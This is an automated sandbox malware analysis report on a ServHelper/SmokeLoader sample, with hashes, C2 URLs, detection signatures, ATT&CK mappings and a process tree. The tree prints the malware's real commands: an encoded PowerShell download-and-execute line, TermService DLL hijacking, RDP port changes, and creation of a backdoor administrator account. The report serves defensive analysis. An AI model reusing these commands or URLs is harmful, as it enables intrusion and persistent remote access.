servhelper | 2d320ee3c680e6b5c2cbf5a781895dac33cf08190e3db8805dd9775ec4bd87d3

Analysis

max time kernel
150s
max time network
124s
platform
windows7_x64
resource
win7-en-20211014
submitted
20-10-2021 06:21

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

4d093da4d7c10d4b14a54f4793fee6ce.exe
Size

233KB
MD5

4d093da4d7c10d4b14a54f4793fee6ce
SHA1

1d726d4ed85efb342065713c40f968f660029fe8
SHA256

2d320ee3c680e6b5c2cbf5a781895dac33cf08190e3db8805dd9775ec4bd87d3
SHA512

6ca23d7dca9ad314acc54f04186b0eaa96272a76a209c39edd897f27822c9e65a9e20f5736dbab5c06e7754fb442094dae88e178be1780670ba155d622b404a6

Score

10^/10

servhelper smokeloader backdoor discovery exploit persistence suricata trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

smokeloader

Version

2020

http://directorycart.com/upload/

http://tierzahnarzt.at/upload/

http://streetofcards.com/upload/

http://ycdfzd.com/upload/

http://successcoachceo.com/upload/

http://uhvu.cn/upload/

http://japanarticle.com/upload/

rc4.i32

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
suricata: ET MALWARE ServHelper CnC Inital Checkin
suricata: ET MALWARE ServHelper CnC Inital Checkin
suricata
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 2 IoCs

flow	pid	Process
28	1056	powershell.exe
29	1056	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
780	9B55.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
1472	icacls.exe
1312	takeown.exe
1324	icacls.exe
1436	icacls.exe
1156	icacls.exe
884	icacls.exe
1760	icacls.exe
1584	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0008000000012667-142.dat	upx
behavioral1/files/0x001600000000f5e9-143.dat	upx

Deletes itself 1 IoCs

pid	Process
1200	Process not Found

Loads dropped DLL 4 IoCs

pid	Process
1200	Process not Found
1200	Process not Found
684	Process not Found
684	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1436	icacls.exe
1156	icacls.exe
884	icacls.exe
1760	icacls.exe
1584	icacls.exe
1472	icacls.exe
1312	takeown.exe
1324	icacls.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UK7KLUP9Y5CZVL0ZIQT7.temp	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	4d093da4d7c10d4b14a54f4793fee6ce.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	4d093da4d7c10d4b14a54f4793fee6ce.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	4d093da4d7c10d4b14a54f4793fee6ce.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 70efb4b18bc5d701	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
948	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1196	4d093da4d7c10d4b14a54f4793fee6ce.exe
1196	4d093da4d7c10d4b14a54f4793fee6ce.exe
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1200	Process not Found

Suspicious behavior: LoadsDriver 3 IoCs

pid	Process
464	Process not Found
684	Process not Found
684	Process not Found

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1196	4d093da4d7c10d4b14a54f4793fee6ce.exe

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	1868	powershell.exe
Token: SeDebugPrivilege	1136	powershell.exe
Token: SeDebugPrivilege	1928	powershell.exe
Token: SeDebugPrivilege	524	powershell.exe
Token: SeRestorePrivilege	1436	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	756	WMIC.exe
Token: SeIncreaseQuotaPrivilege	756	WMIC.exe
Token: SeAuditPrivilege	756	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	756	WMIC.exe
Token: SeIncreaseQuotaPrivilege	756	WMIC.exe
Token: SeAuditPrivilege	756	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1936	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1936	WMIC.exe
Token: SeAuditPrivilege	1936	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1936	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1936	WMIC.exe
Token: SeAuditPrivilege	1936	WMIC.exe
Token: SeDebugPrivilege	1056	powershell.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found

Suspicious use of SendNotifyMessage 4 IoCs

pid	Process
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1200 wrote to memory of 780	1200	Process not Found	27
PID 1200 wrote to memory of 780	1200	Process not Found	27
PID 1200 wrote to memory of 780	1200	Process not Found	27
PID 780 wrote to memory of 1868	780	9B55.exe	29
PID 780 wrote to memory of 1868	780	9B55.exe	29
PID 780 wrote to memory of 1868	780	9B55.exe	29
PID 1868 wrote to memory of 832	1868	powershell.exe	31
PID 1868 wrote to memory of 832	1868	powershell.exe	31
PID 1868 wrote to memory of 832	1868	powershell.exe	31
PID 832 wrote to memory of 1548	832	csc.exe	32
PID 832 wrote to memory of 1548	832	csc.exe	32
PID 832 wrote to memory of 1548	832	csc.exe	32
PID 1868 wrote to memory of 1136	1868	powershell.exe	35
PID 1868 wrote to memory of 1136	1868	powershell.exe	35
PID 1868 wrote to memory of 1136	1868	powershell.exe	35
PID 1868 wrote to memory of 1928	1868	powershell.exe	37
PID 1868 wrote to memory of 1928	1868	powershell.exe	37
PID 1868 wrote to memory of 1928	1868	powershell.exe	37
PID 1868 wrote to memory of 524	1868	powershell.exe	39
PID 1868 wrote to memory of 524	1868	powershell.exe	39
PID 1868 wrote to memory of 524	1868	powershell.exe	39
PID 1868 wrote to memory of 1312	1868	powershell.exe	41
PID 1868 wrote to memory of 1312	1868	powershell.exe	41
PID 1868 wrote to memory of 1312	1868	powershell.exe	41
PID 1868 wrote to memory of 1324	1868	powershell.exe	42
PID 1868 wrote to memory of 1324	1868	powershell.exe	42
PID 1868 wrote to memory of 1324	1868	powershell.exe	42
PID 1868 wrote to memory of 1436	1868	powershell.exe	43
PID 1868 wrote to memory of 1436	1868	powershell.exe	43
PID 1868 wrote to memory of 1436	1868	powershell.exe	43
PID 1868 wrote to memory of 1156	1868	powershell.exe	44
PID 1868 wrote to memory of 1156	1868	powershell.exe	44
PID 1868 wrote to memory of 1156	1868	powershell.exe	44
PID 1868 wrote to memory of 884	1868	powershell.exe	45
PID 1868 wrote to memory of 884	1868	powershell.exe	45
PID 1868 wrote to memory of 884	1868	powershell.exe	45
PID 1868 wrote to memory of 1760	1868	powershell.exe	46
PID 1868 wrote to memory of 1760	1868	powershell.exe	46
PID 1868 wrote to memory of 1760	1868	powershell.exe	46
PID 1868 wrote to memory of 1584	1868	powershell.exe	47
PID 1868 wrote to memory of 1584	1868	powershell.exe	47
PID 1868 wrote to memory of 1584	1868	powershell.exe	47
PID 1868 wrote to memory of 1472	1868	powershell.exe	48
PID 1868 wrote to memory of 1472	1868	powershell.exe	48
PID 1868 wrote to memory of 1472	1868	powershell.exe	48
PID 1868 wrote to memory of 960	1868	powershell.exe	49
PID 1868 wrote to memory of 960	1868	powershell.exe	49
PID 1868 wrote to memory of 960	1868	powershell.exe	49
PID 1868 wrote to memory of 948	1868	powershell.exe	50
PID 1868 wrote to memory of 948	1868	powershell.exe	50
PID 1868 wrote to memory of 948	1868	powershell.exe	50
PID 1868 wrote to memory of 1608	1868	powershell.exe	51
PID 1868 wrote to memory of 1608	1868	powershell.exe	51
PID 1868 wrote to memory of 1608	1868	powershell.exe	51
PID 1868 wrote to memory of 932	1868	powershell.exe	52
PID 1868 wrote to memory of 932	1868	powershell.exe	52
PID 1868 wrote to memory of 932	1868	powershell.exe	52
PID 932 wrote to memory of 1616	932	net.exe	53
PID 932 wrote to memory of 1616	932	net.exe	53
PID 932 wrote to memory of 1616	932	net.exe	53
PID 1868 wrote to memory of 1144	1868	powershell.exe	54
PID 1868 wrote to memory of 1144	1868	powershell.exe	54
PID 1868 wrote to memory of 1144	1868	powershell.exe	54
PID 1144 wrote to memory of 1912	1144	cmd.exe	55

C:\Users\Admin\AppData\Local\Temp\4d093da4d7c10d4b14a54f4793fee6ce.exe
"C:\Users\Admin\AppData\Local\Temp\4d093da4d7c10d4b14a54f4793fee6ce.exe"
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:1196

C:\Users\Admin\AppData\Local\Temp\9B55.exe
C:\Users\Admin\AppData\Local\Temp\9B55.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1868
- - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\n7skvntf.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:832
  - - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD52B.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCD51A.tmp"
      4⤵
      PID:1548
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1136
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1928
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:524
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1312
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1324
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1436
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1156
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:884
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1760
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1584
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1472
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:960
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:948
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:1608
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:932
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1616
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1144
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      PID:1912
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        
        PID:920
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:1168
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:1164
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:996
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        
        PID:1364
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:1396
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:1532
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:1684

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
PID:1936
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  PID:1156
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:1576

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc BpyP7pkd /add
1⤵
PID:1684
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc BpyP7pkd /add
  2⤵
  PID:1584
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc BpyP7pkd /add
    3⤵
    PID:656

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
PID:756
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:852
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:632

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" UKNHJUQT$ /ADD
1⤵
PID:1740
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" UKNHJUQT$ /ADD
  2⤵
  PID:1912
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" UKNHJUQT$ /ADD
    3⤵
    PID:1532

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:892
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:1156
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:1436

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc BpyP7pkd
1⤵
PID:1612
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc BpyP7pkd
  2⤵
  PID:1584
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc BpyP7pkd
    3⤵
    PID:656

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1808
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:756

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:2044
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1936

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1436
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1764
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:1056

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/524-113-0x000007FEEA7F0000-0x000007FEEB34D000-memory.dmp

Filesize
11.4MB

Download
memory/524-116-0x0000000002852000-0x0000000002854000-memory.dmp

Filesize
8KB

Download
memory/524-114-0x0000000002850000-0x0000000002852000-memory.dmp

Filesize
8KB

Download
memory/524-118-0x0000000002854000-0x0000000002857000-memory.dmp

Filesize
12KB

Download
memory/524-119-0x0000000002857000-0x0000000002858000-memory.dmp

Filesize
4KB

Download
memory/524-117-0x000000000285C000-0x000000000287B000-memory.dmp

Filesize
124KB

Download
memory/524-115-0x000000001B8B0000-0x000000001BBAF000-memory.dmp

Filesize
3.0MB

Download
memory/780-66-0x00000000410D4000-0x00000000410D6000-memory.dmp

Filesize
8KB

Download
memory/780-67-0x00000000410D6000-0x00000000410D7000-memory.dmp

Filesize
4KB

Download
memory/780-68-0x00000000410D7000-0x00000000410D8000-memory.dmp

Filesize
4KB

Download
memory/780-63-0x00000000410D2000-0x00000000410D4000-memory.dmp

Filesize
8KB

Download
memory/780-64-0x0000000041550000-0x000000004194F000-memory.dmp

Filesize
4.0MB

Download
memory/832-86-0x0000000002040000-0x0000000002042000-memory.dmp

Filesize
8KB

Download
memory/1056-166-0x000007FEEA7F0000-0x000007FEEB34D000-memory.dmp

Filesize
11.4MB

Download
memory/1056-167-0x0000000000950000-0x0000000000952000-memory.dmp

Filesize
8KB

Download
memory/1056-170-0x000000000095B000-0x000000000097A000-memory.dmp

Filesize
124KB

Download
memory/1056-169-0x0000000000954000-0x0000000000957000-memory.dmp

Filesize
12KB

Download
memory/1056-168-0x0000000000952000-0x0000000000954000-memory.dmp

Filesize
8KB

Download
memory/1136-92-0x000007FEEA7F0000-0x000007FEEB34D000-memory.dmp

Filesize
11.4MB

Download
memory/1136-96-0x0000000002902000-0x0000000002904000-memory.dmp

Filesize
8KB

Download
memory/1136-98-0x0000000002907000-0x0000000002908000-memory.dmp

Filesize
4KB

Download
memory/1136-95-0x000000000290C000-0x000000000292B000-memory.dmp

Filesize
124KB

Download
memory/1136-97-0x0000000002904000-0x0000000002907000-memory.dmp

Filesize
12KB

Download
memory/1136-93-0x000000001B9B0000-0x000000001BCAF000-memory.dmp

Filesize
3.0MB

Download
memory/1136-94-0x0000000002900000-0x0000000002902000-memory.dmp

Filesize
8KB

Download
memory/1196-57-0x0000000000400000-0x0000000002F02000-memory.dmp

Filesize
43.0MB

Download
memory/1196-54-0x000000000338D000-0x0000000003396000-memory.dmp

Filesize
36KB

Download
memory/1196-56-0x00000000003C0000-0x00000000003C9000-memory.dmp

Filesize
36KB

Download
memory/1196-55-0x0000000074F21000-0x0000000074F23000-memory.dmp

Filesize
8KB

Download
memory/1200-58-0x0000000002970000-0x0000000002986000-memory.dmp

Filesize
88KB

Download
memory/1868-73-0x0000000002412000-0x0000000002414000-memory.dmp

Filesize
8KB

Download
memory/1868-75-0x000000001B6E0000-0x000000001B9DF000-memory.dmp

Filesize
3.0MB

Download
memory/1868-74-0x0000000002414000-0x0000000002417000-memory.dmp

Filesize
12KB

Download
memory/1868-72-0x0000000002410000-0x0000000002412000-memory.dmp

Filesize
8KB

Download
memory/1868-76-0x000000000241B000-0x000000000243A000-memory.dmp

Filesize
124KB

Download
memory/1868-71-0x000007FEEA7F0000-0x000007FEEB34D000-memory.dmp

Filesize
11.4MB

Download
memory/1868-88-0x000000000243D000-0x000000000243E000-memory.dmp

Filesize
4KB

Download
memory/1868-70-0x000007FEFB561000-0x000007FEFB563000-memory.dmp

Filesize
8KB

Download
memory/1928-102-0x000007FEEA7F0000-0x000007FEEB34D000-memory.dmp

Filesize
11.4MB

Download
memory/1928-103-0x0000000002760000-0x0000000002762000-memory.dmp

Filesize
8KB

Download
memory/1928-104-0x0000000002767000-0x0000000002768000-memory.dmp

Filesize
4KB

Download
memory/1928-106-0x000000001B900000-0x000000001BBFF000-memory.dmp

Filesize
3.0MB

Download
memory/1928-105-0x0000000002762000-0x0000000002764000-memory.dmp

Filesize
8KB

Download
memory/1928-107-0x0000000002764000-0x0000000002767000-memory.dmp

Filesize
12KB

Download
memory/1928-110-0x000000000276C000-0x000000000278B000-memory.dmp

Filesize
124KB

Download